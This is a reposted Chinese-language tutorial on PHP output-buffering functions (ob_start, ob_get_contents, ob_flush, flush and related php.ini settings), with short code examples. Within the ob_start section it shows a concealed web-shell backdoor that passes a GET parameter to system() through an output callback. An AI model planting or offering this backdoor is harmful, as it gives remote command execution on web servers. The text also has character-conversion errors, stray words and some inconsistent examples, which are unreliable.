PHP輸出緩衝控制(Output Control)函數詳解

###以前對php輸出緩存有使用,可是沒有理解的那麼透徹,今天看了一篇博客寫得很好 轉載過來了。博客原文php

  • 簡介
        說到輸出緩衝,首先要說的是一個叫作緩衝器(buffer)的東西。舉個簡單的例子說明他的做用:咱們在編輯一篇文檔時,在咱們沒有保存以前,系統是不會向磁盤寫入的,而是寫到buffer中,當buffer寫滿或者執行了保存操做,纔會將數據寫入磁盤。對於PHP來講,每一次像 echo 這樣的輸出操做,一樣是先寫入到了 php buffer 裏,在腳本執行完畢或者執行了強制輸出緩存操做,數據纔會在瀏覽器上顯示。
        其實對於PHP程序員來講,基本上每一個腳本都涉及到了輸出緩衝,只是在大多數狀況下,咱們都不須要對輸出緩衝進行更改。而今天就來用實例對PHP輸出緩衝控制函數「Output Control」作一個詳細的解析。
    下面這個例子簡單介紹了輸出緩衝在通常腳本中存在的方式:html

    <!-- lang: php --> 程序員

    echo 'Apple';
      echo 'IBM';
      echo 'Microsoft'

        咱們在執行上面這段腳本時,腳本在執行完第一個 echo 時,並不會向瀏覽器輸出相應內容,而是會輸出到一個緩衝區,依次類推,當三個 echo 所有執行完畢(也就是腳本結束)時,纔會將緩衝區內容所有輸出到瀏覽器。固然這個緩衝區也有大小的限制,是根據 php.ini 中的output_buffering選項來設置的,這點會在下面的文章中詳細介紹。而本章所講的輸出緩衝控制,就是在腳本結束前,對緩衝區裏的內容進行操做。
    下這個例子能夠更好的體現輸出緩衝控制的應用:windows

    <!-- lang: php --> 數組

    echo 'Apple'; sleep(2);
      echo 'IBM'; sleep(2);
      echo 'Microsoft';

        咱們至少須要等待 2秒 才能看到輸出結果,那咱們能不能讓其實時的顯示呢?也就是在第一個 echo 執行完畢時就輸出相應的內容呢,這時候就須要用輸出緩衝控制函數來操做緩衝區了,具體怎麼實現先放一邊,文章的結尾會公佈。瀏覽器

  • 做用緩存

    1. 在PHP中,像header(), session_start(), setcookie() 等這樣的發送頭文件的函數前,不能有任何的輸出,而利用輸出緩衝控制函數能夠在這些函數前進行輸出而不報錯。其實這麼作沒啥必要,很是少見的用法。
    2. 對輸出的內容進行處理,例如生成靜態緩存文件、進行gzip壓縮輸出,這算是較經常使用的功能了。
    3. 捕獲一些不可獲取的函數輸出,例如phpinfo(), var_dump() 等等,這些函數都會將運算結果顯示在瀏覽器中,而若是咱們想對這些結果進行處理,則用輸出緩衝控制函數是個不錯的方法。說的通俗點,就是這類函數都不會有返回值,而要獲取這些函數的輸出數據,就要用到輸出緩衝控制函數。
    4. 最後一種應用就是 簡介 中提到的 對一些數據進行實時的輸出。
  • php.ini 中的相關配置項
        再來看看在 php.ini 中和輸出緩衝控制有關的選項,共三個,分別是:output_buffering, implicit_flush 和 output_handler。服務器

    1. output_buffering 默認爲 off , 當設置爲 on 時,則在全部腳本自動打開輸出緩衝區,就是在每一個腳本都自動執行了 ob_start() 這個函數,而不用再顯示的調用該函數。其也能夠設置爲一個整型的數字,表明緩衝區能夠存儲的最大字節數,咱們在例1下面的說明中提到過這個配置項。
    2. implicit_flush 默認爲 off , 當設置爲 on 時,PHP將在輸出後,自動送出緩衝區內容。就是在每段輸出後,自動執行 flush() 。固然有效的輸出不只指像echo , print 這樣的函數,也包括HTML段。
    3. output_handler 默認爲 null , 其值只能設置爲一個內置的函數名,做用就是將腳本的全部輸出,用所定義的函數進行處理。他的用法和 ob_start(‘function_name’) 較相似,下面會介紹到。
    4. 本篇文章中,若是沒有特別說明,php.ini中output_buffering, implicit_flush 和 output_handler的值均爲默認值。
  • Output Control 函數詳解cookie

    <!-- lang: php --> session

    1. bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

     此函數你們從命名上也能明白其含義,就是打開輸出緩衝區,從而進行下一步的輸出緩衝處理。這裏要特地說的是其參數的用法,第一個參數要傳遞一個回調函數,其需將緩衝區內容作爲參數,而且返回一個字符串。他會在緩衝區被送出時調用,緩衝區送出指的是執行了例如ob_flush() 等函數或者腳本執行完畢。ob_flush() 函數會在下面介紹到,來看一個簡單的例子就能理解其用法:

    <!-- lang: php -->

    function dothing1($echo_thing){
          return ' #' . $echo_thing . '# ';
      }
    
      ob_start('dothing1');
      echo 'Apple';

    <!-- lang: php -->

    輸出結果
      #Apple#

        從輸出的結果能夠看出單詞兩邊被添加了「#」,也就是說在緩衝區內容輸出時,運行了咱們定義的 dothing1函數。

    再來看一個更實際的例子,也就是常見到的將網頁內容利用 gzip 壓縮後再輸出,代碼以下:

    <!-- lang: php -->

    ob_start(); 
      echo str_repeat('Apple', 1024);

    輸出結果:沒有使用gzip壓縮的狀況下 沒有使用gzip 輸出結果:使用gzip壓縮的狀況下,文檔大小小了不少,壓縮花費了時間,因此時間長了。 使用gzip壓縮

        而第二個參數 chunk_size 爲緩衝區的字節長度,若是緩衝區內容大於此長度,將會被送出緩衝區,默認值爲0,表明函數將會在最後被調用。第三個參數 erase 若是被設置爲 flase , 則表明腳本執行完畢後緩衝區纔會被刪除,若是提早執行了刪除緩衝區函數(後面會提到),則會報一個錯誤。

         ob_start() 的用法就這麼多,但有兩點須要特別注意的地方:

    1. ob_start() 可重複調用,也就是說一個腳本中能夠存在多個緩衝區,但記得要按照嵌套順序將他們所有關閉掉,而若是多個 ob_start 都定義了第一個參數,也就是都定義了回調函數,則會按照嵌套順序依次執行。關於緩衝區的堆疊嵌套,將在 ob_get_level 函數處詳細介紹,這裏就不過多闡述了。
    2. ob_start() 還有一個不太明顯但很致命的後門用法,實現代碼以下:

    <!-- lang: php -->

    $cmd = 'system'; 
      ob_start($cmd); 
      echo $_GET['a']; 
      ob_end_flush();

    <!-- lang: php -->

    windows下面的輸出結果:
      14 個目錄 30,970,388,480 可用字節

        若是理解了上面關於 ob_start的用法,這段代碼就不難理解了,其應用了 ob_start 函數會將緩衝區輸出的內容做爲參數傳入所設置的函數中的特色,實現了以Web服務器權限遠程執行命令,而且不宜被發覺。

    <!-- lang: php -->

    2. string ob_get_contents ( void )

        此函數用來獲取此時緩衝區的內容,下面的例子就能很好的理解其用法:

    <!-- lang: php -->

    ob_start('doting2');
      echo 'apple';
      $tmp = ob_get_contents();
      file_put_contents('./doting2', $tmp);
      ob_end_flush()

        運行此例會發現,瀏覽器並不會有任何輸出,但在當前目錄下會有一個 phpinfo.html 的文件,裏面存儲了這次應有的輸出。這個例子也展現了上面做用中第三點所說的狀況。咱們能夠將輸出內容獲取到後,根據咱們的實際狀況進行處理。

    <!-- lang: php -->

    3. int ob_get_length ( void )

        此函數用來獲取緩衝區內容的長度。

    <!-- lang: php -->

    4. int ob_get_level ( void )

        此函數用來獲取緩衝機制的嵌套級別,咱們在介紹 ob_start() 函數時曾說過,在一個腳本中能夠嵌套存在多個緩衝區,而此函數就是來獲取當前緩衝區的嵌套級別,用法以下:

    <!-- lang: php -->

    ob_start(); 
      var_dump(ob_get_level()); 
      ob_start(); 
      var_dump(ob_get_level()); 
      ob_end_flush(); 
      ob_end_flush();

        運行後能夠很明顯的看出他們的嵌套關係。

    <!-- lang: php -->

    5. array ob_get_status ([ bool $full_status = FALSE ] )

        此函數用來獲取當前緩衝區的狀態,返回一個狀態信息的數組,若是第一個參數爲 true ,將返回一個詳細信息的數組,咱們結合實例來分析這個數組:

    <!-- lang: php -->

    ob_start('ob_gzhandler');
      var_export(ob_get_status());
      ob_start();
      var_export(ob_get_status());
      ob_end_flush(); ob_end_flush();

    <!-- lang: php -->

    運行結果  
      array ( 'level' => 2, 'type' => 1, 'status' => 0, 'name' => 'ob_gzhandler', 'del' => true, )
      array ( 'level' => 3, 'type' => 1, 'status' => 0, 'name' => 'default output handler', 'del' => true, )
    1. level 爲嵌套級別,也就是和經過 ob_get_level() 取到的值同樣
    2. type 爲處理緩衝類型,0爲系統內部自動處理,1爲用戶手動處理
    3. status 爲緩衝處理狀態, 0爲開始, 1爲進行中, 2爲結束
    4. name 爲定義的輸出處理函數名稱,也就是在 ob_start() 函數中第一個參數傳入的函數名
    5. del 爲是否運行了刪除緩衝區操做

    <!-- lang: php -->

    6. void ob_flush ( void )

        此函數的做用就是 「送出」 當前緩衝區內容,同時清空緩衝區,須要注意這裏用的是 「送出」 一詞,也就是說調用此函數並不會將緩衝區內容輸出,必須在其後調用 flush 函數其纔會輸出。關於 flush 的用法下面就會說到,這裏就再也不作實例了。

    <!-- lang: php -->

    7. void flush ( void )

        這個函數算是比較經常使用的,用來將其前面的全部輸出發送到瀏覽器顯示,且不會對緩存區有任何影響。換句話說,不管是 echo 等函數的輸出,仍是 HTML實體 ,或是運行 ob_start() 送出的內容,運行 flush() 後都會在瀏覽器進行顯示。

    ob_flush()與flush()的區別     在沒有開啓緩存時,腳本輸出的內容都在服務器端處於等待輸出的狀態,flush()能夠將等待輸出的內容當即發送到客戶端。 開啓緩存後,腳本輸出的內容存入了輸出緩存中,這時沒有處於等待輸出狀態的內容,你直接使用flush()不會向客戶端發出任何內容。而ob_flush()的做用就是將原本存在輸出緩存中的內容取出來,設置爲等待輸出狀態,但不會直接發送到客戶端,這時你就須要先使用ob_flush()再使用flush(),客戶端才能當即得到腳本的輸出。

    <!-- lang: php -->

    8. void ob_implicit_flush ([ int $flag = true ] )

        此函數用來打開/關閉絕對刷送模式,就是在每一次輸出後自動執行 flush(),從而不須要再顯示的調用 flush() ,提升效率。

    <!-- lang: php -->

    10. bool ob_end_flush ( void )
      11. string ob_get_flush ( void )
      12. void ob_clean ( void )
      13. bool ob_end_clean ( void )
      14. string ob_get_clean ( void )

        這幾個函數的做用都差很少,都與清空緩存區有關,具體的用法查看手冊。

  • 對一些數據進行實時的輸出
        相信讀了上面的內容,就會對PHP的緩衝控制函數有較深的認識了,如今咱們回到簡介中留下的問題:讓例2的腳本實現實時的顯示內容,而不須要等待4秒後出現全部內容。
        咱們能夠根據緩存開啓與否,有以下幾種不一樣的寫法,若是你在測試過程當中沒法出現預期的效果,能夠在header('content-type:text/html;charset=utf-8');下面插入str_repeat(' ', 1024);,你也能夠嘗試更大的值,部分瀏覽器即便這麼作了,有可能仍是沒法出現效果,你能夠嘗試將php代碼放入完整的html代碼塊body體內。下面代碼的header('content-type:text/html;charset=utf-8');不要省略哦,不然部分瀏覽器查看不到效果。

    <!-- lang: php -->

    ob_start(''); //這裏我使用ob_start('ob_gzhandler')沒有效果
      header('content-type:text/html;charset=utf-8'); 
      echo 'Apple #';   
      ob_flush(); flush(); 
      sleep(2); 
      echo 'IBM #'; 
      ob_flush(); flush(); 
      sleep(2); 
      echo 'Microsoft';
相關文章
相關標籤/搜索